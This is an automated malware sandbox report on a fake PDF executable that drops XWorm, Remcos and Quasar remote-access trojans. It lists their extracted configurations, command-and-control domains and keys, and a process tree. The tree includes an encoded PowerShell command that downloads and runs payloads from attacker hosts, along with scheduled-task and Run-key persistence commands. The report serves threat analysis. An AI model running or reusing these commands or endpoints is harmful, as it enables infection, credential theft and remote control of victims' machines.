Analysis
- max time kernel
149s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system - submitted
27/11/2025, 03:10
Static task
static1
Behavioral task
behavioral1
Sample
Nº 2502268142.pdf .exe
Resource
win10v2004-20251016-en
Behavioral task
behavioral2
Sample
Nº 2502268142.pdf .exe
Resource
win11-20250619-en
General
- Target Nº 2502268142.pdf .exe
- Size 503KB
- Sample251127-dn8xjsvkak
- SHA256 cdefe4487062cf4feeee912c4842224c9f9ee066574205d31efa87aee71f2073
- MD5 fc2ae0b717c99fc84195eb2ad2bd24e2
- SHA1 4788ac87473bd247b4cabe68d67d2e5ba32b6936
- SHA512 06445962cbe741b4c56f3ba93f6feff970f4801044af7ab53e87e7023a83ec53df7e95e8c79bb8cb656e7c3f78c5609db0bd8d6b168447a8a4a259853baf0925
- SSDEEP 6144:4gYV1lh5pIiZuorxte5gLJl512oJsDg5kGAM1c6E+1hKYTq8uqbmWAV6naLnyhfM:SV1l3zZjrx550omh69b2W8jytCU+L
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
xworm
-
rency.ydns.eu:59013
-
wqo9.firewall-gateway.de:59013
-
code1.ydns.eu:59013
-
Install_directory
%AppData%
-
install_file
\WindowsSecurity\WindowsDefender.exe
Extracted
-
remcos
-
3.8.0 Pro
-
EXEC
-
rency.ydns.eu:2404
-
wqo9.firewall-gateway.de:4045
-
code1.ydns.eu:9302
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
System.exe
-
copy_folder
MicroSoft Outlook
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
true
-
install_path
%AppData%
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
TCWd3hQ5LP1Fcm2U5B0fn3xuWp5u5rQsC2Y-YNXB3C
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
MicroSoft
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
-
quasar
-
1.4.1
-
SPAIN2
-
twart.myfirewall.org:9792
-
rency.ydns.eu:5287
-
wqo9.firewall-gateway.de:8841
-
code1.ydns.eu:5287
-
wqo9.firewall-gateway.de:9792
-
Q4e9mb0d-11cb-44R6b-T1b-05f80M1dcIfx051
-
encryption_key
3145298725BA5E0DD56E87FFE3F8898EA81E6EDA
-
install_name
Notepadbook.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
6000
-
startup_key
Adobe PDF
-
subdirectory
WindowsMD
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4688-92-0x0000000000400000-0x0000000000418000-memory.dmp family_xworm - Quasar family
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/5316-136-0x0000000000400000-0x0000000000724000-memory.dmp family_quasar - Remcos family
- Xworm family
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 6036 powershell.exe 3 6036 powershell.exe - Downloads MZ/PE file 2 IoCs
flow pid Process 2 6036 powershell.exe 3 6036 powershell.exe - .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
resource yara_rule behavioral2/memory/5624-6-0x0000000008340000-0x0000000008380000-memory.dmp net_reactor - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.lnk POWERPOINT.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.lnk POWERPOINT.exe - Executes dropped EXE 27 IoCs
pid Process 3380 WORDS.exe 3384 POWERPOINT.exe 5060 NOTEPAD.exe 5236 EXCEL.exe 1680 NOTEPAD.exe 1940 NOTEPAD.exe 1684 NOTEPAD.exe 4688 POWERPOINT.exe 2248 WORDS.exe 2804 EXCEL.exe 3128 fishwife.exe 236 System.exe 956 System.exe 2716 WindowsDefender.exe 4200 System.exe 4960 WindowsDefender.exe 5316 NOTEPAD.exe 2220 Notepadbook.exe 2300 Notepadbook.exe 3728 Notepadbook.exe 1732 Notepadbook.exe 5704 fishwife.exe 5560 System.exe 6136 System.exe 4088 WindowsDefender.exe 5824 Notepadbook.exe 5144 Notepadbook.exe - Loads dropped DLL 1 IoCs
pid Process 4688 POWERPOINT.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 POWERPOINT.exe Key opened \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 POWERPOINT.exe Key opened \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 POWERPOINT.exe - Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicroSoft = "\"C:\\Users\\Admin\\AppData\\Roaming\\MicroSoft Outlook\\System.exe\"" EXCEL.exe Set value (str) \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\boosted = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\fishwife.exe" WORDS.exe Set value (str) \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicroSoft = "\"C:\\Users\\Admin\\AppData\\Roaming\\MicroSoft Outlook\\System.exe\"" System.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of SetThreadContext 11 IoCs
description pid Process procid_target PID 5624 set thread context of 4324 5624 Nº 2502268142.pdf .exe 80 PID 3384 set thread context of 4688 3384 POWERPOINT.exe 87 PID 3380 set thread context of 2248 3380 WORDS.exe 88 PID 5236 set thread context of 2804 5236 EXCEL.exe 89 PID 5060 set thread context of 5316 5060 NOTEPAD.exe 93 PID 3128 set thread context of 5704 3128 fishwife.exe 104 PID 956 set thread context of 5560 956 System.exe 106 PID 236 set thread context of 6136 236 System.exe 108 PID 2716 set thread context of 4088 2716 WindowsDefender.exe 110 PID 2220 set thread context of 5824 2220 Notepadbook.exe 118 PID 2300 set thread context of 5144 2300 Notepadbook.exe 119 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 26 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Nº 2502268142.pdf .exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WORDS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language POWERPOINT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WORDS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WindowsDefender.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NOTEPAD.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language fishwife.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language System.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NOTEPAD.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language System.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Notepadbook.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Notepadbook.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language POWERPOINT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language System.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Notepadbook.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WindowsDefender.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Notepadbook.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language fishwife.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Nº 2502268142.pdf .exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\Local Settings EXCEL.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5728 schtasks.exe 5884 schtasks.exe - Suspicious behavior: EnumeratesProcesses 43 IoCs
pid Process 5624 Nº 2502268142.pdf .exe 5624 Nº 2502268142.pdf .exe 5624 Nº 2502268142.pdf .exe 5624 Nº 2502268142.pdf .exe 5624 Nº 2502268142.pdf .exe 5624 Nº 2502268142.pdf .exe 6036 powershell.exe 6036 powershell.exe 3384 POWERPOINT.exe 3384 POWERPOINT.exe 3380 WORDS.exe 5060 NOTEPAD.exe 3380 WORDS.exe 5236 EXCEL.exe 5236 EXCEL.exe 5060 NOTEPAD.exe 5060 NOTEPAD.exe 5060 NOTEPAD.exe 5060 NOTEPAD.exe 5060 NOTEPAD.exe 5060 NOTEPAD.exe 5060 NOTEPAD.exe 3128 fishwife.exe 236 System.exe 3128 fishwife.exe 236 System.exe 956 System.exe 2716 WindowsDefender.exe 2716 WindowsDefender.exe 956 System.exe 236 System.exe 236 System.exe 2716 WindowsDefender.exe 2716 WindowsDefender.exe 2220 Notepadbook.exe 2300 Notepadbook.exe 2220 Notepadbook.exe 2300 Notepadbook.exe 4688 POWERPOINT.exe 2220 Notepadbook.exe 2220 Notepadbook.exe 2300 Notepadbook.exe 2300 Notepadbook.exe - Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 5624 Nº 2502268142.pdf .exe Token: SeDebugPrivilege 6036 powershell.exe Token: SeDebugPrivilege 3384 POWERPOINT.exe Token: SeDebugPrivilege 3380 WORDS.exe Token: SeDebugPrivilege 5060 NOTEPAD.exe Token: SeDebugPrivilege 5236 EXCEL.exe Token: SeDebugPrivilege 4688 POWERPOINT.exe Token: SeDebugPrivilege 3128 fishwife.exe Token: SeDebugPrivilege 236 System.exe Token: SeDebugPrivilege 956 System.exe Token: SeDebugPrivilege 2716 WindowsDefender.exe Token: SeDebugPrivilege 5316 NOTEPAD.exe Token: SeDebugPrivilege 2220 Notepadbook.exe Token: SeDebugPrivilege 2300 Notepadbook.exe Token: SeDebugPrivilege 4088 WindowsDefender.exe Token: SeDebugPrivilege 5824 Notepadbook.exe Token: SeDebugPrivilege 5144 Notepadbook.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2248 WORDS.exe 5704 fishwife.exe 5560 System.exe 5824 Notepadbook.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 6100 5624 Nº 2502268142.pdf .exe 78 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4544 5624 Nº 2502268142.pdf .exe 79 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 5624 wrote to memory of 4324 5624 Nº 2502268142.pdf .exe 80 PID 4324 wrote to memory of 6036 4324 Nº 2502268142.pdf .exe 81 PID 4324 wrote to memory of 6036 4324 Nº 2502268142.pdf .exe 81 PID 4324 wrote to memory of 6036 4324 Nº 2502268142.pdf .exe 81 PID 6036 wrote to memory of 3380 6036 powershell.exe 83 PID 6036 wrote to memory of 3380 6036 powershell.exe 83 PID 6036 wrote to memory of 3380 6036 powershell.exe 83 PID 6036 wrote to memory of 3384 6036 powershell.exe 84 PID 6036 wrote to memory of 3384 6036 powershell.exe 84 PID 6036 wrote to memory of 3384 6036 powershell.exe 84 PID 6036 wrote to memory of 5060 6036 powershell.exe 85 PID 6036 wrote to memory of 5060 6036 powershell.exe 85 PID 6036 wrote to memory of 5060 6036 powershell.exe 85 PID 6036 wrote to memory of 5236 6036 powershell.exe 86 PID 6036 wrote to memory of 5236 6036 powershell.exe 86 PID 6036 wrote to memory of 5236 6036 powershell.exe 86 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3384 wrote to memory of 4688 3384 POWERPOINT.exe 87 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 3380 wrote to memory of 2248 3380 WORDS.exe 88 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 PID 5236 wrote to memory of 2804 5236 EXCEL.exe 89 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 POWERPOINT.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 POWERPOINT.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5624 -
C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"2⤵PID:6100
-
-
C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"2⤵PID:4544
-
-
C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"C:\Users\Admin\AppData\Local\Temp\Nº 2502268142.pdf .exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFcATwBSAEQAUwAuAGUAeABlACcALAAgADwAIwByAG4AdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbABuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAcgB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcATwBSAEQAUwAuAGUAeABlACcAKQApADwAIwBlAGMAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AaQBnAHcALgBtAHkAZgBpAHIAZQB3AGEAbABsAC4AbwByAGcALwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwAsACAAPAAjAHUAaABxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAawB2AHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABhAHQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABPAFcARQBSAFAATwBJAE4AVAAuAGUAeABlACcAKQApADwAIwBuAGwAbQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYgBtAGgALQBnAGwAbwBiAGEAbAAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAE4ATwBUAEUAUABBAEQALgBlAHgAZQAnACwAIAA8ACMAeQB3AGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBpAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB2AHgAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBOAE8AVABFAFAAQQBEAC4AZQB4AGUAJwApACkAPAAjAHoAcwBwACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAG0AaAAtAGcAbABvAGIAYQBsAC4AbQB5AGYAaQByAGUAdwBhAGwAbAAuAG8AcgBnAC8ARQBYAEMARQBMAC4AZQB4AGUAJwAsACAAPAAjAGEAcgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABnAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbQBpAGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARQBYAEMARQBMAC4AZQB4AGUAJwApACkAPAAjAGQAZgBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHUAcgBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBoAHMAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBXAE8AUgBEAFMALgBlAHgAZQAnACkAPAAjAG4AdQBzACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAG4AegBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB5AGoAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApADwAIwBpAGgAaAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAHgAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZgB5AHEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATgBPAFQARQBQAEEARAAuAGUAeABlACcAKQA8ACMAcwB2AHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAawB3AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AYwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEUAWABDAEUATAAuAGUAeABlACcAKQA8ACMAcgBxAGMAIwA+AA=="3⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6036 -
C:\Users\Admin\AppData\Roaming\WORDS.exe"C:\Users\Admin\AppData\Roaming\WORDS.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Users\Admin\AppData\Roaming\WORDS.exe"C:\Users\Admin\AppData\Roaming\WORDS.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2248
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C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"5⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4688
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C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5060 -
C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"5⤵
- Executes dropped EXE
PID:1680
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C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"5⤵
- Executes dropped EXE
PID:1940
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C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"5⤵
- Executes dropped EXE
PID:1684
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C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5316 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "Adobe PDF" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe" /rl HIGHEST /f6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5728
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C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220 -
C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"7⤵
- Executes dropped EXE
PID:3728
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C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5824 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "Adobe PDF" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe" /rl HIGHEST /f8⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5884
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C:\Users\Admin\AppData\Roaming\EXCEL.exe"C:\Users\Admin\AppData\Roaming\EXCEL.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5236 -
C:\Users\Admin\AppData\Roaming\EXCEL.exe"C:\Users\Admin\AppData\Roaming\EXCEL.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2804 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"6⤵
- System Location Discovery: System Language Discovery
PID:5220 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"7⤵
- System Location Discovery: System Language Discovery
PID:6008 -
C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956 -
C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"9⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5560
